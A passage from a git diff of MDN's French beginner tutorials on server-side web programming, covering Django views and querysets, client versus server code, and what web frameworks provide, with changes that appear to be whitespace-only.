premiers paramètres des fonctions url () peuvent paraître un peu bizarres (par exemple, r '^ junior / $') car ils utilisent une technique de correspondance de modèle appelée "expressions régulières" (RegEx ou RE). Vous n'avez pas besoin de savoir comment fonctionnent les expressions régulières à ce stade, car elles nous permettent également de faire correspondre les modèles de l'URL (plutôt que les valeurs codées en dur ci-dessus) et de les utiliser comme paramètres dans nos fonctions d'affichage. À titre d'exemple, un RegEx très simple pourrait dire "faire correspondre une seule lettre majuscule, suivie de 4 à 7 lettres minuscules". -L'infrastructure Web permet également à une fonction d'affichage d'extraire facilement des informations de la base de données. La structure de nos données est définie dans des modèles, qui sont des classes Python qui définissent les champs à stocker dans la base de données sous-jacente. Si nous avons un modèle nommé Team avec un champ "team_type", nous pouvons utiliser une syntaxe de requête simple pour récupérer toutes les équipes ayant un type particulier.L’exemple ci-dessous donne la liste de toutes les équipes ayant le type d’équipe exact (sensible à la casse) de "junior" - notez le format: nom du champ (team_type) suivi du double underscore, puis du type de match à utiliser (ici nous utilisons: exact). ). Il existe de nombreux autres types de match et nous pouvons les enchaîner. Nous pouvons également contrôler l'ordre et le nombre de résultats retournés. +L'infrastructure Web permet également à une fonction d'affichage d'extraire facilement des informations de la base de données. La structure de nos données est définie dans des modèles, qui sont des classes Python qui définissent les champs à stocker dans la base de données sous-jacente. Si nous avons un modèle nommé Team avec un champ "team_type", nous pouvons utiliser une syntaxe de requête simple pour récupérer toutes les équipes ayant un type particulier.L’exemple ci-dessous donne la liste de toutes les équipes ayant le type d’équipe exact (sensible à la casse) de "junior" - notez le format: nom du champ (team_type) suivi du double underscore, puis du type de match à utiliser (ici nous utilisons: exact). ). Il existe de nombreux autres types de match et nous pouvons les enchaîner. Nous pouvons également contrôler l'ordre et le nombre de résultats retournés. ```python #best/views.py @@ -277,9 +277,9 @@ from .models import Team def junior(request): - list_teams = Team.objects.filter(team_type__exact="junior") - context = {'list': list_teams} - return render(request, 'best/index.html', context) + list_teams = Team.objects.filter(team_type__exact="junior") + context = {'list': list_teams} + return render(request, 'best/index.html', context) ``` Une fois que la fonction junior () a obtenu la liste des équipes juniors, elle appelle la fonction render () en transmettant la requête HttpRequest d'origine, un modèle HTML et un objet "context" définissant les informations à inclure dans le modèle. La fonction render () est une fonction pratique qui génère du HTML à l'aide d'un context et d'un template HTML, puis le renvoie dans un objet HttpResponse.De toute évidence, les frameworks Web peuvent vous aider dans de nombreuses autres tâches. Nous discutons beaucoup plus d'avantages et de choix de frameworks Web populaires dans le prochain article. diff --git a/files/fr/learn/server-side/first_steps/index.md b/files/fr/learn/server-side/first_steps/index.md index 020b17c1f0..30840e4c56 100644 --- a/files/fr/learn/server-side/first_steps/index.md +++ b/files/fr/learn/server-side/first_steps/index.md @@ -12,11 +12,11 @@ original_slug: Learn/Server-side/Premiers_pas --- {{LearnSidebar}} -Dans ce module nous répondrons à quelques questions fondamentales sur la programmation côté serveur — "Qu'est-ce que c'est ?", "En quoi diffère-t-elle de la programmation côté client ?" et "Pourquoi est-ce si utile ?". Nous fournirons ensuite un aperçu de certaines infrastructures d'applications web (aussi appelé frameworks) côté serveurs parmi les plus populaires, ainsi que des conseils pour sélectionner la plus approprié pour créer votre premier site. Enfin un article vous présentera les questions de sécurité pour un serveur web. +Dans ce module nous répondrons à quelques questions fondamentales sur la programmation côté serveur — "Qu'est-ce que c'est ?", "En quoi diffère-t-elle de la programmation côté client ?" et "Pourquoi est-ce si utile ?". Nous fournirons ensuite un aperçu de certaines infrastructures d'applications web (aussi appelé frameworks) côté serveurs parmi les plus populaires, ainsi que des conseils pour sélectionner la plus approprié pour créer votre premier site. Enfin un article vous présentera les questions de sécurité pour un serveur web. ## Prérequis -Pour suivre ce module, aucune connaissance en programmation web côté serveur ou tout autre type de programmation n'est nécessaire. +Pour suivre ce module, aucune connaissance en programmation web côté serveur ou tout autre type de programmation n'est nécessaire. Vous aurez besoin de comprendre "comment fonctionne le web". Nous vous recommandons de lire d'abord les sujets suivants : @@ -33,9 +33,9 @@ Avec cette compréhension de base, vous serez prêts à parcourir les modules de - [Présentation client-serveur](/fr/docs/Learn/Server-side/Premiers_pas/Client-Serveur) - : Maintenant que vous connaissez le but et les avantages potentiels de la programmation côté serveur, nous allons examiner en détail ce qui se passe lorsqu'un serveur reçoit une "requête dynamique" d'un navigateur. Comme la plupart des codes côté serveur traitent les demandes et les réponses de la même manière, cela vous aidera à comprendre ce que vous devez faire lorsque vous écrivez votre propre code. - [Frameworks web côté serveur](/fr/docs/Learn/Server-side/Premiers_pas/Web_frameworks) - - : Le dernier article vous a montré ce qu'une application web côté serveur doit faire pour répondre aux demandes d'un navigateur web. Nous allons maintenant vous montrer comment les frameworks web peuvent simplifier ces tâches ; nous vous aiderons à choisir le bon framework pour coder votre première application web côté serveur. + - : Le dernier article vous a montré ce qu'une application web côté serveur doit faire pour répondre aux demandes d'un navigateur web. Nous allons maintenant vous montrer comment les frameworks web peuvent simplifier ces tâches ; nous vous aiderons à choisir le bon framework pour coder votre première application web côté serveur. - [Sécurité de votre site web](/fr/docs/Learn/Server-side/First_steps/Website_security) - - : La sécurité de votre site web requiert une vigilance dans tous les aspects de sa conception et de son utilisation. Cet article d'introduction ne fera pas de vous un gourou de la sécurité des sites web, mais il vous aidera à comprendre les premières mesures importantes à prendre pour mettre votre application web à l'abri des menaces les plus courantes. + - : La sécurité de votre site web requiert une vigilance dans tous les aspects de sa conception et de son utilisation. Cet article d'introduction ne fera pas de vous un gourou de la sécurité des sites web, mais il vous aidera à comprendre les premières mesures importantes à prendre pour mettre votre application web à l'abri des menaces les plus courantes. ## Évaluations diff --git a/files/fr/learn/server-side/first_steps/introduction/index.md b/files/fr/learn/server-side/first_steps/introduction/index.md index 9763f1cba6..2fe460b0f2 100644 --- a/files/fr/learn/server-side/first_steps/introduction/index.md +++ b/files/fr/learn/server-side/first_steps/introduction/index.md @@ -13,7 +13,7 @@ original_slug: Learn/Server-side/Premiers_pas/Introduction --- {{LearnSidebar}}{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}} -Bienvenue au cours pour débutant de MDN sur la programmation côté serveur. Dans ce premier article, nous allons regarder la programmation côté serveur sans rentrer dans les détails techniques, en répondant aux questions telles que "qu'est-ce que c'est?", "quelle est la différence avec la programmation côté client?", et "pourquoi est-ce utile?". Après avoir lu cet article vous comprendrez commment la programmation côté serveur donne toute leur puissance aux sites web. +Bienvenue au cours pour débutant de MDN sur la programmation côté serveur. Dans ce premier article, nous allons regarder la programmation côté serveur sans rentrer dans les détails techniques, en répondant aux questions telles que "qu'est-ce que c'est?", "quelle est la différence avec la programmation côté client?", et "pourquoi est-ce utile?". Après avoir lu cet article vous comprendrez commment la programmation côté serveur donne toute leur puissance aux sites web. <table class="standard-table"> <tbody> @@ -34,9 +34,9 @@ Bienvenue au cours pour débutant de MDN sur la programmation côté serveur. Da </tbody> </table> -La plupart des sites web à grande échelle utilisent du code côté serveur pour afficher dynamiquement différentes données lorsque nécessaire ; ces données sont généralement extraites d'une base de données stockée sur un serveur et envoyées au client pour être affichées avec du code (HTML et/ou JavaScript). +La plupart des sites web à grande échelle utilisent du code côté serveur pour afficher dynamiquement différentes données lorsque nécessaire ; ces données sont généralement extraites d'une base de données stockée sur un serveur et envoyées au client pour être affichées avec du code (HTML et/ou JavaScript). -L'avantage le plus significatif du code côté serveur est sans doute qu'il permet d'adapter le contenu du site web à chaque utilisateur. Les sites dynamiques peuvent mettre en évidence du contenu pertinent en fonction des préférences et des habitudes de l'utilisateur. Il peut également faciliter l'utililsation des sites web en stockant des données, des informations personnelles — par exemple donner la possibilité d'enregistrer une carte de crédit pour les achats suivants. +L'avantage le plus significatif du code côté serveur est sans doute qu'il permet d'adapter le contenu du site web à chaque utilisateur. Les sites dynamiques peuvent mettre en évidence du contenu pertinent en fonction des préférences et des habitudes de l'utilisateur. Il peut également faciliter l'utililsation des sites web en stockant des données, des informations personnelles — par exemple donner la possibilité d'enregistrer une carte de crédit pour les achats suivants. Cela peut même permettre une interaction avec les utilisateurs du site, en envoyant des notifications et mises à jour par email ou via d'autres canaux. Toutes ces capacités rendent possible un engagement plus important avec l'utilisateur. @@ -44,9 +44,9 @@ Dans le monde moderne du développement web, apprendre le développement côté ## Qu'est-ce que la programmation côté serveur? -Les navigateurs web communiquent avec les [serveurs web](/fr/Apprendre/Qu_est-ce_qu_un_serveur_web) en utilisant le protocole {{glossary("HTTP")}} (**H**yper**T**ext **T**ransfer **P**rotocol). Quand vous cliquez sur un lien dans une page web, envoyez un formulaire, ou encore lancez une recherche, une **requête HTTP** est envoyée du navigateur au serveur cible. +Les navigateurs web communiquent avec les [serveurs web](/fr/Apprendre/Qu_est-ce_qu_un_serveur_web) en utilisant le protocole {{glossary("HTTP")}} (**H**yper**T**ext **T**ransfer **P**rotocol). Quand vous cliquez sur un lien dans une page web, envoyez un formulaire, ou encore lancez une recherche, une **requête HTTP** est envoyée du navigateur au serveur cible. -Une requête inclut _une URL_ pour identifier la ressource demandée, _une méthode_ pour définir l'action désirée (comme GET pour obtenir, DELETE pour supprimer ou POST pour publier) et peut également inclure des informations supplémentaires encodées dans _les paramètres_ de l'URL (des paires clés/valeurs envoyées via une chaîne de recherche — [query string](https://en.wikipedia.org/wiki/Query_string) en anglais), les données POST (données envoyées par la [méthode HTTP POST](/fr/docs/Web/HTTP/M%C3%A9thode/POST)), ou les {{glossary("Cookie", "cookies associés")}}. +Une requête inclut _une URL_ pour identifier la ressource demandée, _une méthode_ pour définir l'action désirée (comme GET pour obtenir, DELETE pour supprimer ou POST pour publier) et peut également inclure des informations supplémentaires encodées dans _les paramètres_ de l'URL (des paires clés/valeurs envoyées via une chaîne de recherche — [query string](https://en.wikipedia.org/wiki/Query_string) en anglais), les données POST (données envoyées par la [méthode HTTP POST](/fr/docs/Web/HTTP/M%C3%A9thode/POST)), ou les {{glossary("Cookie", "cookies associés")}}. Les serveurs web attendent des requêtes du client, les traitent quand elles arrivent, et répondent au navigateur web avec une **réponse HTTP**. La réponse contient _un statut_ qui indique si la requête a pu être traitée avec succès ou non (exemple "HTTP/1.1 200 OK" pour indiquer le succès). @@ -64,13 +64,13 @@ Le serveur récupère le document demandé du système de fichiers et retourne u Un site web dynamique, quant à lui, est un site dont une partie des réponses sont générées _dynamiquement_, à la demande. Sur les sites dynamiques, les pages HTML sont normalement crées en insérant des données d'une base de données dans des espaces réservés à l'intérieur de templates HTML (c'est une manière beaucoup plus efficace que des fichiers statiques pour stocker de grandes quantités de contenu). -Un site dynamique peut retourner des données différentes pour une URL, en se basant sur les informations fournies par l'utilisateur ou les préférences stockées et peut effectuer des opérations avant de retourner la réponse. +Un site dynamique peut retourner des données différentes pour une URL, en se basant sur les informations fournies par l'utilisateur ou les préférences stockées et peut effectuer des opérations avant de retourner la réponse. La plupart du code pour maintenir un site web dynamique doit s'exécuter sur le serveur. La création de ce code est ce qu'on appelle la "**programmation côté serveur**" (ou parfois "**codage back-end**"). Le diagramme ci-dessous montre une architecture simple pour un _site web dynamique_. Comme dans le diagramme précédent, les navigateurs envoient des requêtes HTTP au serveur, qui les traite et retourne les réponses HTTP appropriées. -Les requêtes pour les ressources _statiques_ sont toujours gérées de la même manière que pour les sites statiques (les ressources statiques sont tous les fichiers qui ne changent pas —typiquement : CSS, JavaScript, Images, fichiers PDF etc). +Les requêtes pour les ressources _statiques_ sont toujours gérées de la même manière que pour les sites statiques (les ressources statiques sont tous les fichiers qui ne changent pas —typiquement : CSS, JavaScript, Images, fichiers PDF etc).  @@ -82,19 +82,19 @@ Voyons maintenant le code impliqué dans la programmation côté serveur et côt - Ils ont des objectifs et des préoccupations différents. - Ils n'utilisent généralement pas les mêmes langages de programmation (exception faite de JavaScript, qui peut être utilisé côté serveur et côté client). -- Ils s'exécutent dans des environnements différents du système d'exploitation. +- Ils s'exécutent dans des environnements différents du système d'exploitation. -Le code exécuté par le navigateur est connu sous le nom de **code côté client** (ou **front-end**) et se préoccupe principalement de l'apparence et du comportement des pages web affichées. Cela inclut sélectionner et styliser les composants de l'interface utilisateur, créer la mise en page, la navigation, valider les formulaires, etc. D'un autre côté, la programmation côté serveur implique de définir le contenu retourné au navigateur en réponse aux requêtes. Le code côté serveur gère des tâches telles que la validation des données envoyées, l'utilisation des bases de données pour stocker et récupérer des données et l'envoi de données générées au client tel qu'attendu. +Le code exécuté par le navigateur est connu sous le nom de **code côté client** (ou **front-end**) et se préoccupe principalement de l'apparence et du comportement des pages web affichées. Cela inclut sélectionner et styliser les composants de l'interface utilisateur, créer la mise en page, la navigation, valider les formulaires, etc. D'un autre côté, la programmation côté serveur implique de définir le contenu retourné au navigateur en réponse aux requêtes. Le code côté serveur gère des tâches telles que la validation des données envoyées, l'utilisation des bases de données pour stocker et récupérer des données et l'envoi de données générées au client tel qu'attendu. -Le code client est écrit en [HTML](/fr/Apprendre/HTML), [CSS](/fr/Apprendre/CSS), et [JavaScript](/fr/Apprendre/JavaScript) — il est exécuté dans un navigateur web et a peu ou pas accès au système d'exploitation de l'utilisateur (inclut un accès limité au système de fichiers). +Le code client est écrit en [HTML](/fr/Apprendre/HTML), [CSS](/fr/Apprendre/CSS), et [JavaScript](/fr/Apprendre/JavaScript) — il est exécuté dans un navigateur web et a peu ou pas accès au système d'exploitation de l'utilisateur (inclut un accès limité au système de fichiers). -Les développeurs web ne peuvent pas contrôler quel navigateur est utilisé par l'utilisateur pour voir le site web — or les navigateurs fournissent des niveaux de compatibilité inconsistants quant aux fonctionnalités du code côté client, et une partie du challenge de la programmation côté client consiste à gérer les différences de support des navigateurs. +Les développeurs web ne peuvent pas contrôler quel navigateur est utilisé par l'utilisateur pour voir le site web — or les navigateurs fournissent des niveaux de compatibilité inconsistants quant aux fonctionnalités du code côté client, et une partie du challenge de la programmation côté client consiste à gérer les différences de support des navigateurs. -Le code côté serveur peut être écrit dans nombre de langages de programmation — les langages les plus populaires pour la programmation web côté serveur sont en autres PHP, Python, Ruby, C#, et NodeJS(JavaScript). Le code côté serveur a plein accès au système d'exploitation du serveur et le développeur est libre de choisir le langage (et la version) qu'il veut utiliser. +Le code côté serveur peut être écrit dans nombre de langages de programmation — les langages les plus populaires pour la programmation web côté serveur sont en autres PHP, Python, Ruby, C#, et NodeJS(JavaScript). Le code côté serveur a plein accès au système d'exploitation du serveur et le développeur est libre de choisir le langage (et la version) qu'il veut utiliser. Typiquement, les développeurs écrivent leur code en utilisant des **frameworks web**. Les frameworks web sont des ensembles de fonctions, objets, règles et autres constructions de code conçus pour résoudre des problèmes courants, accélérer le développement et simplifier les différents types de tâches rencontrées dans un domaine particulier. -Encore une fois, bien que le code côté client et côté serveur utilisent des frameworks, les domaines d'application sont très différents et par conséquent les frameworks aussi. Les frameworks web côté client simplifient les tâches de mise en page et de présentation tandis que les frameworks web côté serveur fournissent des fonctionnalités "courantes" que vous auriez probablement à implémenter vous-même autrement (comme le support des sessions, des utilisateurs et de l'authentification, l'accès à la base de données, les bibliothèques de templates, etc.). +Encore une fois, bien que le code côté client et côté serveur utilisent des frameworks, les domaines d'application sont très différents et par conséquent les frameworks aussi. Les frameworks web côté client simplifient les tâches de mise en page et de présentation tandis que les frameworks web côté serveur fournissent des fonctionnalités "courantes" que vous auriez probablement à implémenter vous-même autrement (comme le support des sessions, des utilisateurs et de l'authentification, l'accès à la base de données, les bibliothèques de templates, etc.). > **Note :** Les frameworks côté client sont souvent utilisés pour accélérer le développement du code côté client, mais vous pouvez également choisir d'écrire tout le code à la main ; en vérité, écrire votre code à la main peut être plus rapide et plus efficace si vous n'avez besoin que d'une petite interface web très simple. > @@ -106,15 +106,15 @@ La programmation côté serveur est très utile parce qu'elle nous permet de dé Des compagnies comme Amazon utilisent la programmation côté serveur pour construire la recherche de produits, faire des suggestions de produit ciblées sur les préférences du client et ses habitudes d'achat, simplifier les achats, etc. -Les banques l'utilisent pour stocker les informations du compte ainsi que faire des transactions et n'autoriser à les consulter que les utilisateurs reconnus. D'autres services comme Facebook, Twitter, Instagram, et Wikipedia utilisent la programmation côté serveur pour mettre en avant, partager et contrôler l'accès au contenu. +Les banques l'utilisent pour stocker les informations du compte ainsi que faire des transactions et n'autoriser à les consulter que les utilisateurs reconnus. D'autres services comme Facebook, Twitter, Instagram, et Wikipedia utilisent la programmation côté serveur pour mettre en avant, partager et contrôler l'accès au contenu. Les utilisations les plus courantes et les plus bénéfiques de la programmation côté serveur sont listées ci-dessous. Vous verrez qu'il y a quelques recoupements : ### Stockage et distribution de l'information plus efficaces -Imaginez combien de produits sont disponibles sur Amazon et combien de posts ont été écrits sur Facebook. Créer une page statique distincte pour chaque produit ou article serait totalement impossible. +Imaginez combien de produits sont disponibles sur Amazon et combien de posts ont été écrits sur Facebook. Créer une page statique distincte pour chaque produit ou article serait totalement impossible. -La programmation côté serveur nous permet plutôt de stocker l'information dans une base de données et de construire et retourner dynamiquement le HTML ainsi que d'autres types de fichiers (comme les PDF, images, etc.). Il est également possible de simplement retourner des données ({{glossary("JSON")}}, {{glossary("XML")}}, etc.) pour les afficher avec des frameworks côté client (cela réduit la charge de travail du serveur et la quantité de données qui doit être retournée). +La programmation côté serveur nous permet plutôt de stocker l'information dans une base de données et de construire et retourner dynamiquement le HTML ainsi que d'autres types de fichiers (comme les PDF, images, etc.). Il est également possible de simplement retourner des données ({{glossary("JSON")}}, {{glossary("XML")}}, etc.) pour les afficher avec des frameworks côté client (cela réduit la charge de travail du serveur et la quantité de données qui doit être retournée). Le serveur ne se limite pas à l'envoi d'informations à partir de bases de données, il peut retourner le résultat d'autres outils logiciels, ou les données de services de communication. Le contenu peut même être ciblé pour le type d'appareil client qui le reçoit. @@ -126,11 +126,11 @@ Comme les informations se trouvent dans une base de données, elles peuvent éga > 2. Cherchez un certain nombre de mot-clés et remarquez que la structure de la page de change pas, même si les résultats oui. > 3. Ouvrez deux ou trois produits. Remarquez que la structure et la disposition de la page sont identiques, mais que le contenu pour les différents produits a été extrait de la base de données. > -> Pour un terme de recherche courant ("poisson", disons) vous pouvez voir littéralement des millions de valeurs retournées. Utiliser une base de données permet à ces données d'être stockées et partagées efficacement, et permet de contrôler la présentation de l'information à partir d'un seul endroit. +> Pour un terme de recherche courant ("poisson", disons) vous pouvez voir littéralement des millions de valeurs retournées. Utiliser une base de données permet à ces données d'être stockées et partagées efficacement, et permet de contrôler la présentation de l'information à partir d'un seul endroit. ### Expérience utilisateur personnalisée -Les serveurs peuvent stocker et utiliser des informations sur les clients pour fournir une expérience utilisateur personnalisée. Par exemple, beaucoup de sites proposent d'enregistrer une carte de crédit pour que les détails n'aient pas à être saisis de nouveau. Des sites comme Google Maps peuvent utiliser les emplacement enregistrés ou l'emplacement en cours pour fournir des informations d'itinéraire et chercher ou utiliser l'historique des voyages précédents pour trouver des boutiques locales dans les résultats de recherche. +Les serveurs peuvent stocker et utiliser des informations sur les clients pour fournir une expérience utilisateur personnalisée. Par exemple, beaucoup de sites proposent d'enregistrer une carte de crédit pour que les détails n'aient pas à être saisis de nouveau. Des sites comme Google Maps peuvent utiliser les emplacement enregistrés ou l'emplacement en cours pour fournir des informations d'itinéraire et chercher ou utiliser l'historique des voyages précédents pour trouver des boutiques locales dans les résultats de recherche. Une analyse plus approfondie des habitudes des utilisateurs peut être utilisée pour anticiper leurs intérêts et personnaliser les réponses ou les notifications du serveur, par exemple pour fournir une liste des lieux précédemment visités ou les plus populaires que vous pourriez vouloir chercher sur la carte. @@ -150,14 +150,14 @@ La programmation côté serveur permet aux sites de restreindre l'accès aux uti Quelques exemples du monde réel incluent : -- Les réseaux sociaux comme Facebook permettent aux utilisateurs de contrôler entièrement leurs propres données, mais permettent seulement à leurs amis de les voir ou des les commenter. L'utilisateur détermine qui peut voir ses données, et par extension, dans le flux de qui elles apparaissent — l'autorisation est une partie centrale de l'expérience utilisateur ! +- Les réseaux sociaux comme Facebook permettent aux utilisateurs de contrôler entièrement leurs propres données, mais permettent seulement à leurs amis de les voir ou des les commenter. L'utilisateur détermine qui peut voir ses données, et par extension, dans le flux de qui elles apparaissent — l'autorisation est une partie centrale de l'expérience utilisateur ! - Le site sur lequel vous êtes en ce moment même contrôle l'accès au contenu : les articles sont visibles à tout le monde, mais seuls les utilisateurs identifiés peuvent éditer le contenu. Essayez de cliquer sur le bouton **Modifier** en haut de cette page — si vous êtes identifié, vous verrez la vue d'édition ; sinon, vous serez redirigé vers la page d'inscription. > **Note :** Il existe de nombreux autres exemples où l'accès au contenu est contrôlé. Par exemple, que voyez-vous si vous allez sur le site en ligne de votre banque ? Connectez-vous à votre compte — quelles autres informations pouvez-vous voir et modifier ? Quelles informations pouvez-vous voir que seule la banque peut changer ? ### Stocker les informations de session/d'état -La programmation côté serveur permet aux développeurs d'utiliser des **sessions** — en gros, un mécanisme qui permet au serveur de stocker des informations sur l'utilisation en cours d'un site et d'envoyer des réponses différentes selon cette information. +La programmation côté serveur permet aux développeurs d'utiliser des **sessions** — en gros, un mécanisme qui permet au serveur de stocker des informations sur l'utilisation en cours d'un site et d'envoyer des réponses différentes selon cette information. Cela permet, par exemple, à un site de savoir qu'un utilisateur s'est déjà identifié et afficher des messages qui lui sont destinés, d'afficher son historique de commande, ou peut-être encore, dans le cas d'un jeu, lui permettre de reprendre là où il en est resté. @@ -165,7 +165,7 @@ Cela permet, par exemple, à un site de savoir qu'un utilisateur s'est déjà id ### Notifications et communication -Les serveurs peuvent envoyer des notifications générales ou personnalisées à l'utilisateur via le site web lui-même ou par email, SMS, messagerie instantannée, conversations vidéo ou autres services de communication. +Les serveurs peuvent envoyer des notifications générales ou personnalisées à l'utilisateur via le site web lui-même ou par email, SMS, messagerie instantannée, conversations vidéo ou autres services de communication. Quelques exemples incluent : @@ -179,11 +179,11 @@ Quelques exemples incluent : Un site web peut collecter beaucoup de données sur les utilisateurs : ce qu'ils cherchent, ce qu'ils achètent, ce qu'ils recommandent, combien de temps ils restent sur chaque page. La programmation côté serveur peut être utilisée pour affiner les réponses en fonction de l'analyse de ces données. -Par exemple, Amazon et Google font tous deux de la publicité pour des produits en se basant sur les recherches précédentes, sur les achats que vous avez faits. +Par exemple, Amazon et Google font tous deux de la publicité pour des produits en se basant sur les recherches précédentes, sur les achats que vous avez faits. > **Note :** Si vous êtes un utilisateur de Facebook, allez sur votre flux principal et regardez les posts. Notez que certains posts ne sont pas classés par ordre numérique — en particulier, les posts qui ont le plus de "likes" sont souvent placés plus haut dans la liste que les posts plus récents. > -> Observez également quels types de publicités vous voyez — vous pourrez voir des publicités pour des choses que vous avez regardé sur d'autres sites. L'algorithme de Facebook pour mettre en avant du contenu et faire de la publicité est un peu un mystérieux, mais il est clair qu'il prend en compte vos likes et ce que vous avez l'habitude de regarder ! +> Observez également quels types de publicités vous voyez — vous pourrez voir des publicités pour des choses que vous avez regardé sur d'autres sites. L'algorithme de Facebook pour mettre en avant du contenu et faire de la publicité est un peu un mystérieux, mais il est clair qu'il prend en compte vos likes et ce que vous avez l'habitude de regarder ! ## Sommaire @@ -191,11 +191,11 @@ Félicitations, vous avez atteint la fin du premier article sur la programmation Vous avez maintenant appris que le code côté serveur est exécuté sur un serveur web et que son rôle principal est de contrôler _quelle_ information est envoyée à l'utilisateur (tandis que le code côté client gère principalement la structure et la présentation des données pour l'utilisateur). -Vous devez également comprendre que c'est utile pour créer des sites web qui délivrent de l'information _efficacement_, adaptée à chaque utilisateur et avoir une bonne idée de quelques choses que vous seriez capable de faire quand vous serez programmeur back-end. +Vous devez également comprendre que c'est utile pour créer des sites web qui délivrent de l'information _efficacement_, adaptée à chaque utilisateur et avoir une bonne idée de quelques choses que vous seriez capable de faire quand vous serez programmeur back-end. -Finalement, vous devez comprendre que le code côté serveur peut être écrit dans de nombreux langages de programmation et que l'on peut utiliser des frameworks web pour rendre ce processus plus facile. +Finalement, vous devez comprendre que le code côté serveur peut être écrit dans de nombreux langages de programmation et que l'on peut utiliser des frameworks web pour rendre ce processus plus facile. -Dans un futur article, nous vous aiderons à choisir le framework le plus adapté pour la création d'un premier site. Ensuite, nous vous présenterons les principales interactions client-serveur plus en détails. +Dans un futur article, nous vous aiderons à choisir le framework le plus adapté pour la création d'un premier site. Ensuite, nous vous présenterons les principales interactions client-serveur plus en détails. {{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}} diff --git a/files/fr/learn/server-side/first_steps/web_frameworks/index.md b/files/fr/learn/server-side/first_steps/web_frameworks/index.md index c46e7f7ebf..afb18ef9d9 100644 --- a/files/fr/learn/server-side/first_steps/web_frameworks/index.md +++ b/files/fr/learn/server-side/first_steps/web_frameworks/index.md @@ -11,7 +11,7 @@ original_slug: Learn/Server-side/Premiers_pas/Web_frameworks --- {{LearnSidebar}}{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}} -L'article précédent nous a montré à quoi ressemble la communication entre les clients et les serveurs web, la nature des demandes et des réponses HTTP et ce qu’une application web côté serveur doit faire pour répondre aux demandes d’un navigateur web. Avec ces connaissances en main, il est temps d'explorer comment les frameworks peuvent nous simplifier la tâche. En chemin, vous comprendrez comment choisir le framework le mieux adapté pour votre première application web côté serveur. +L'article précédent nous a montré à quoi ressemble la communication entre les clients et les serveurs web, la nature des demandes et des réponses HTTP et ce qu’une application web côté serveur doit faire pour répondre aux demandes d’un navigateur web. Avec ces connaissances en main, il est temps d'explorer comment les frameworks peuvent nous simplifier la tâche. En chemin, vous comprendrez comment choisir le framework le mieux adapté pour votre première application web côté serveur. <table class="standard-table"> <tbody> @@ -30,21 +30,21 @@ L'article précédent nous a montré à quoi ressemble la communication entre </tbody> </table> -Les sections suivantes proposent des illustrations avec des fragments de codes utilisés par des frameworks réels. Ne soyez pas inquiété si vous ne comprenez pas tout directement. Les explications viendront au fur et à mesure. +Les sections suivantes proposent des illustrations avec des fragments de codes utilisés par des frameworks réels. Ne soyez pas inquiété si vous ne comprenez pas tout directement. Les explications viendront au fur et à mesure. ## Vue d'ensemble -Les frameworks web côté serveur (c-à-d "web application frameworks") facilitent l'écriture, la maintenance et la mise à l'échelle d'applications web. Ils fournissent des outils et des bibliothèques qui simplifient les tâches courantes de développement web, notamment l'acheminement des URL vers les gestionnaires appropriés, l'interaction avec les bases de données, les sessions et l'autorisation des utilisateurs, le formatage de la sortie (HTML, JSON, XML, par exemple) et l'amélioration de la sécurité contre les attaques web. +Les frameworks web côté serveur (c-à-d "web application frameworks") facilitent l'écriture, la maintenance et la mise à l'échelle d'applications web. Ils fournissent des outils et des bibliothèques qui simplifient les tâches courantes de développement web, notamment l'acheminement des URL vers les gestionnaires appropriés, l'interaction avec les bases de données, les sessions et l'autorisation des utilisateurs, le formatage de la sortie (HTML, JSON, XML, par exemple) et l'amélioration de la sécurité contre les attaques web. -Dans la section suivante, nous allons voir un peu plus de détails comment les frameworks facilite le développement d'applications web. Nous verrons alors les critères utilisés pour choisir un framework adapté. +Dans la section suivante, nous allons voir un peu plus de détails comment les frameworks facilite le développement d'applications web. Nous verrons alors les critères utilisés pour choisir un framework adapté. ## Que peut faire un framework web pour vous ? -Les frameworks web fournissent des outils et des bibliothèques pour simplifier les opérations de développement web courantes. Utiliser un framework web côté serveur n'est pas obligatoire, mais fortement conseillé... Cela vous facilitera grandement la vie. Cette section présente certaines des fonctionnalités parmi les plus souvent fournies par les frameworks web. +Les frameworks web fournissent des outils et des bibliothèques pour simplifier les opérations de développement web courantes. Utiliser un framework web côté serveur n'est pas obligatoire, mais fortement conseillé... Cela vous facilitera grandement la vie. Cette section présente certaines des fonctionnalités parmi les plus souvent fournies par les frameworks web. ### Travailler directement avec les requêtes et les réponses HTTP -Comme nous l'avons vu dans le dernier article, les serveurs web et les navigateurs communiquent via le protocole HTTP — les serveurs attendent les requêtes HTTP du navigateur, puis renvoient des informations dans les réponses HTTP. Les infrastructures web vous permettent d'écrire une syntaxe simplifiée qui générera un code côté serveur pour travailler avec ces demandes et réponses. Cela signifie que vous aurez un travail plus facile, en interagissant avec un code plus facile, de niveau supérieur, plutôt que des primitives de réseau de niveau inférieur. +Comme nous l'avons vu dans le dernier article, les serveurs web et les navigateurs communiquent via le protocole HTTP — les serveurs attendent les requêtes HTTP du navigateur, puis renvoient des informations dans les réponses HTTP. Les infrastructures web vous permettent d'écrire une syntaxe simplifiée qui générera un code côté serveur pour travailler avec ces demandes et réponses. Cela signifie que vous aurez un travail plus facile, en interagissant avec un code plus facile, de niveau supérieur, plutôt que des primitives de réseau de niveau inférieur. L'exemple ci-dessous montre comment cela fonctionne dans le framework web Django (Python). Chaque fonction "view" (un gestionnaire de demandes) reçoit un objet HttpRequest contenant les informations de la demande et doit renvoyer un objet HttpResponse avec la sortie formatée (dans ce cas une chaîne). @@ -137,7 +137,7 @@ Les frameworks web fournissent souvent des systèmes de templates. Ceux-ci vous Les frameworks web fournissent souvent un mécanisme facilitant la génération d'autres formats à partir de données stockées, notamment {{glossary ("JSON")}} et {{glossary ("XML")}}. -Par exemple, le système de templates Django vous permet de spécifier des variables en utilisant une syntaxe "double-handlebars" (par exemple,` {`` { variable_name ``}``} ` ), qui sera remplacée par les valeurs transmises à partir de la fonction d'affichage lors du rendu d'une page. Le système de templates prend également en charge les expressions (avec la syntaxe:`{% expression %}` ), qui permettent aux templates d'effectuer des opérations simples, telles que l'itération des valeurs de liste transmises au modèle. +Par exemple, le système de templates Django vous permet de spécifier des variables en utilisant une syntaxe "double-handlebars" (par exemple,` {`` { variable_name ``}``} ` ), qui sera remplacée par les valeurs transmises à partir de la fonction d'affichage lors du rendu d'une page. Le système de templates prend également en charge les expressions (avec la syntaxe:`{% expression %}` ), qui permettent aux templates d'effectuer des opérations simples, telles que l'itération des valeurs de 